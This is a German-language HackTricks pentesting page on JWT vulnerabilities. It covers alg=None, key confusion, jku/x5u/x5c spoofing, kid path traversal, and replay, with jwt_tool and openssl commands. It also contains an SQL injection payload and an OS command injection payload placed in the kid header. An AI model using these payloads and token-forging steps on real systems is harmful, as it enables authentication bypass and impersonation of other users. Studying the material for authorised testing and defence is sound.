hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

20 KiB
Raw Permalink Blame History

JWT-Sicherheitsanfälligkeiten (Json Web Tokens)

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}

Wenn Sie an einer Hacking-Karriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließend Polnisch in Wort und Schrift erforderlich).

{% embed url="https://www.stmcyber.com/careers" %}

Ein Teil dieses Beitrags basiert auf dem großartigen Beitrag: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor des großartigen Tools zum Pentesting von JWTs https://github.com/ticarpi/jwt_tool

Schnelle Erfolge

Führen Sie jwt_tool im Modus All Tests! aus und warten Sie auf grüne Zeilen.

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Wenn Sie Glück haben, findet das Tool einen Fall, in dem die Webanwendung das JWT falsch überprüft:

Dann können Sie die Anfrage in Ihrem Proxy suchen oder das verwendete JWT für diese Anfrage mit jwt_ tool dumpen:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur um JWT-Angriffe von Burp auszuführen.

Daten manipulieren, ohne etwas zu ändern

Sie können einfach die Daten manipulieren und die Signatur unverändert lassen und überprüfen, ob der Server die Signatur überprüft. Versuchen Sie beispielsweise, Ihren Benutzernamen in "admin" zu ändern.

Wird das Token überprüft?

Um zu überprüfen, ob die Signatur eines JWT verifiziert wird:

  • Eine Fehlermeldung deutet auf eine laufende Überprüfung hin; sensible Details in ausführlichen Fehlern sollten überprüft werden.
  • Eine Änderung der zurückgegebenen Seite deutet ebenfalls auf eine Überprüfung hin.
  • Keine Änderung deutet auf keine Überprüfung hin; dies ist der Zeitpunkt, um mit der Manipulation der Payload-Ansprüche zu experimentieren.

Ursprung

Es ist wichtig zu bestimmen, ob das Token serverseitig oder clientseitig generiert wurde, indem die Anfragehistorie des Proxys untersucht wird.

  • Tokens, die zuerst von der Client-Seite gesehen werden, deuten darauf hin, dass der Schlüssel möglicherweise im clientseitigen Code exponiert ist, was eine weitere Untersuchung erforderlich macht.
  • Tokens, die serverseitig stammen, deuten auf einen sicheren Prozess hin.

Dauer

Überprüfen Sie, ob das Token länger als 24 Stunden hält... vielleicht läuft es nie ab. Wenn es ein "exp"-Feld gibt, überprüfen Sie, ob der Server es korrekt behandelt.

Brute-Force HMAC-Geheimnis

Siehe diese Seite.

Algorithmus auf None ändern

Setzen Sie den verwendeten Algorithmus auf "None" und entfernen Sie den Signaturteil.

Verwenden Sie die Burp-Erweiterung mit dem Namen "JSON Web Token", um diese Schwachstelle auszuprobieren und verschiedene Werte innerhalb des JWT zu ändern (senden Sie die Anfrage an Repeater und im Tab "JSON Web Token" können Sie die Werte des Tokens ändern. Sie können auch auswählen, den Wert des "Alg"-Feldes auf "None" zu setzen).

Ändern Sie den Algorithmus von RS256 (asymmetrisch) auf HS256 (symmetrisch) (CVE-2016-5431/CVE-2016-10555)

Der Algorithmus HS256 verwendet den geheimen Schlüssel, um jede Nachricht zu signieren und zu verifizieren.
Der Algorithmus RS256 verwendet den privaten Schlüssel, um die Nachricht zu signieren, und verwendet den öffentlichen Schlüssel zur Authentifizierung.

Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Backend-Code den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus, um die Signatur zu verifizieren.

Dann könnten wir unter Verwendung des öffentlichen Schlüssels und der Änderung von RS256 auf HS256 eine gültige Signatur erstellen. Sie können das Zertifikat des Webservers abrufen, indem Sie dies ausführen:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Neuer öffentlicher Schlüssel im Header

Ein Angreifer bettet einen neuen Schlüssel in den Header des Tokens ein, und der Server verwendet diesen neuen Schlüssel zur Überprüfung der Signatur (CVE-2018-0114).

Dies kann mit der "JSON Web Tokens" Burp-Erweiterung durchgeführt werden.
(Senden Sie die Anfrage an den Repeater, wählen Sie im Tab JSON Web Token "CVE-2018-0114" aus und senden Sie die Anfrage).

JWKS Spoofing

Die Anweisungen beschreiben eine Methode zur Bewertung der Sicherheit von JWT-Token, insbesondere von solchen, die einen "jku"-Headeranspruch verwenden. Dieser Anspruch sollte auf eine JWKS (JSON Web Key Set)-Datei verweisen, die den öffentlichen Schlüssel enthält, der für die Überprüfung des Tokens erforderlich ist.

  • Bewertung von Tokens mit "jku"-Header:
  • Überprüfen Sie die URL des "jku"-Anspruchs, um sicherzustellen, dass sie zur entsprechenden JWKS-Datei führt.
  • Ändern Sie den "jku"-Wert des Tokens, um auf einen kontrollierten Webdienst zu verweisen, um den Datenverkehr zu beobachten.
  • Überwachung der HTTP-Interaktion:
  • Die Beobachtung von HTTP-Anfragen an Ihre angegebene URL zeigt die Versuche des Servers, Schlüssel von Ihrem bereitgestellten Link abzurufen.
  • Bei der Verwendung von jwt_tool für diesen Prozess ist es wichtig, die Datei jwtconf.ini mit Ihrem persönlichen JWKS-Standort zu aktualisieren, um die Tests zu erleichtern.
  • Befehl für jwt_tool:
  • Führen Sie den folgenden Befehl aus, um das Szenario mit jwt_tool zu simulieren:
python3 jwt_tool.py JWT_HERE -X s

Übersicht über Kid-Probleme

Ein optionaler Headeranspruch, bekannt als kid, wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was in Umgebungen, in denen mehrere Schlüssel zur Überprüfung der Token-Signatur vorhanden sind, besonders wichtig wird. Dieser Anspruch hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens.

Offenlegung des Schlüssels durch "kid"

Wenn der kid-Anspruch im Header vorhanden ist, wird empfohlen, das Webverzeichnis nach der entsprechenden Datei oder deren Variationen zu durchsuchen. Wenn beispielsweise "kid":"key/12345" angegeben ist, sollten die Dateien /key/12345 und /key/12345.pem im Web-Stammverzeichnis gesucht werden.

Pfad Traversierung mit "kid"

Der kid-Anspruch könnte auch ausgenutzt werden, um durch das Dateisystem zu navigieren, was möglicherweise die Auswahl einer beliebigen Datei ermöglicht. Es ist möglich, die Konnektivität zu testen oder Server-Side Request Forgery (SSRF)-Angriffe durchzuführen, indem der kid-Wert geändert wird, um gezielt bestimmte Dateien oder Dienste anzusprechen. Das Manipulieren des JWT, um den kid-Wert zu ändern und gleichzeitig die ursprüngliche Signatur beizubehalten, kann mit dem -T-Flag in jwt_tool erreicht werden, wie unten gezeigt:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Durch das Anvisieren von Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei /proc/sys/kernel/randomize_va_space in Linux-Systemen, die den Wert 2 enthält, im kid-Parameter mit 2 als symmetrischem Passwort für die JWT-Generierung verwendet werden.

SQL-Injection über "kid"

Wenn der Inhalt des kid-Anspruchs verwendet wird, um ein Passwort aus einer Datenbank abzurufen, könnte eine SQL-Injection ermöglicht werden, indem die kid-Nutzlast modifiziert wird. Ein Beispiel für eine Nutzlast, die SQL-Injection verwendet, um den JWT-Signierungsprozess zu ändern, ist:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Diese Änderung zwingt die Verwendung eines bekannten geheimen Schlüssels, ATTACKER, für die JWT-Signierung.

OS-Injection über "kid"

Ein Szenario, in dem der kid-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Injizieren von Befehlen in den kid-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel für eine Nutzlast, um RCE und Schlüsseloffenlegung zu erreichen, ist:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u und jku

jku

jku steht für JWK Set URL.
Wenn das Token einen “jkuHeader-Anspruch verwendet, dann prüfen Sie die bereitgestellte URL. Diese sollte auf eine URL verweisen, die die JWKS-Datei enthält, die den öffentlichen Schlüssel zur Überprüfung des Tokens enthält. Manipulieren Sie das Token, um den jku-Wert auf einen Webdienst zu verweisen, dessen Verkehr Sie überwachen können.

Zuerst müssen Sie ein neues Zertifikat mit neuen privaten und öffentlichen Schlüsseln erstellen.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Dann können Sie beispielsweise jwt.io verwenden, um das neue JWT mit den erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter jku auf das erstellte Zertifikat zu verweisen. Um ein gültiges jku-Zertifikat zu erstellen, können Sie das ursprüngliche herunterladen und die benötigten Parameter ändern.

Sie können die Parameter "e" und "n" aus einem öffentlichen Zertifikat mit folgendem Befehl erhalten:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509-URL. Eine URI, die auf eine Menge von X.509 (einem Zertifikatsformatstandard) öffentlichen Zertifikaten verweist, die im PEM-Format codiert sind. Das erste Zertifikat in der Menge muss dasjenige sein, das verwendet wurde, um dieses JWT zu signieren. Die nachfolgenden Zertifikate signieren jeweils das vorherige, wodurch die Zertifikatskette vervollständigt wird. X.509 ist in RFC 52807 definiert. Transportsicherheit ist erforderlich, um die Zertifikate zu übertragen.

Versuchen Sie, diesen Header in eine URL unter Ihrer Kontrolle zu ändern und überprüfen Sie, ob eine Anfrage empfangen wird. In diesem Fall könnten Sie das JWT manipulieren.

Um ein neues Token mit einem von Ihnen kontrollierten Zertifikat zu fälschen, müssen Sie das Zertifikat erstellen und die öffentlichen und privaten Schlüssel extrahieren:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Dann können Sie beispielsweise jwt.io verwenden, um das neue JWT mit den erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter x5u auf das erstellte Zertifikat .crt zu verweisen.

Sie können auch beide dieser Schwachstellen für SSRFs ausnutzen.

x5c

Dieser Parameter kann das Zertifikat in base64 enthalten:

Wenn der Angreifer ein selbstsigniertes Zertifikat generiert und ein gefälschtes Token mit dem entsprechenden privaten Schlüssel erstellt und den Wert des "x5c"-Parameters durch das neu generierte Zertifikat ersetzt und die anderen Parameter, nämlich n, e und x5t, ändert, würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Eingebetteter öffentlicher Schlüssel (CVE-2018-0114)

Wenn das JWT einen öffentlichen Schlüssel eingebettet hat, wie im folgenden Szenario:

Mit dem folgenden nodejs-Skript ist es möglich, einen öffentlichen Schlüssel aus diesen Daten zu generieren:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Es ist möglich, einen neuen privaten/öffentlichen Schlüssel zu generieren, den neuen öffentlichen Schlüssel im Token einzubetten und ihn zu verwenden, um eine neue Signatur zu generieren:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Sie können das "n" und "e" mit diesem nodejs-Skript erhalten:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new "n" and "e" values you can use jwt.io to forge a new valid JWT with any information.

ES256: Offenlegung des privaten Schlüssels mit demselben Nonce

Wenn einige Anwendungen ES256 verwenden und denselben Nonce zur Generierung von zwei JWTs verwenden, kann der private Schlüssel wiederhergestellt werden.

Hier ist ein Beispiel: ECDSA: Offenlegung des privaten Schlüssels, wenn derselbe Nonce verwendet wird (mit SECP256k1)

JTI (JWT ID)

Der JTI (JWT ID) Anspruch bietet einen eindeutigen Identifikator für ein JWT-Token. Er kann verwendet werden, um zu verhindern, dass das Token wiederverwendet wird.
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfragen 0001 und 10001 werden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage erhöht, könnten Sie dies ausnutzen, um eine Anfrage wiederzugeben (wobei 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden müssen).

JWT Registrierte Ansprüche

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

Andere Angriffe

Cross-Service Relay Angriffe

Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst zur Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client vom JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausgabe oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich mit demselben Benutzernamen/E-Mail bei einem anderen Client dieses Dienstes anzumelden. Anschließend sollte versucht werden, das erhaltene Token in einer Anfrage an das Ziel wiederzugeben, um zu sehen, ob es akzeptiert wird.

  • Ein kritisches Problem könnte durch die Akzeptanz Ihres Tokens angezeigt werden, was möglicherweise das Spoofing eines beliebigen Benutzerkontos ermöglichen könnte. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfassendere Tests erforderlich ist, wenn Sie sich bei einer Drittanbieteranwendung anmelden, da dies in einen rechtlichen Graubereich fallen könnte.

Ablaufprüfung von Tokens

Das Ablaufdatum des Tokens wird mit dem "exp" Payload-Anspruch überprüft. Da JWTs oft ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Wiedergeben eines anderen Benutzers JWT die Identitätsübernahme dieses Benutzers ermöglichen. Die JWT RFC empfiehlt, JWT-Wiederholungsangriffe zu mindern, indem der "exp"-Anspruch verwendet wird, um eine Ablaufzeit für das Token festzulegen. Darüber hinaus ist die Implementierung relevanter Prüfungen durch die Anwendung entscheidend, um die Verarbeitung dieses Wertes und die Ablehnung abgelaufener Tokens sicherzustellen. Wenn das Token einen "exp"-Anspruch enthält und die Testzeitlimits dies zulassen, wird empfohlen, das Token zu speichern und es nach Ablauf der Zeit erneut wiederzugeben. Der Inhalt des Tokens, einschließlich der Zeitstempelverarbeitung und der Ablaufprüfung (Zeitstempel in UTC), kann mit dem -R-Flag des jwt_tool gelesen werden.

  • Ein Sicherheitsrisiko könnte bestehen, wenn die Anwendung das Token weiterhin validiert, da dies implizieren könnte, dass das Token niemals ablaufen könnte.

Tools

{% embed url="https://github.com/ticarpi/jwt_tool" %}

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}